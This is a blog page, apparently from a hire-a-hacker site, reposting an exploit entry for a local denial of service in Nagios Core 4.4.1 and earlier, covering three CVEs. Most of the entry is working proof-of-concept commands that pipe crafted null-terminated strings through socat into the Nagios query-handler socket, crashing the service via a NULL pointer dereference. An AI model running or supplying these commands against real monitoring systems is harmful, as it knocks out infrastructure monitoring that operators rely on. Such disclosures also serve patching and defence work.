Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863106972

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1


qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

1. [CVE-2018-13458] qh_core

$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -

2. [CVE-2018-13457] qh_echo

$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -

3. [CVE-2018-13441] qh_help

$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -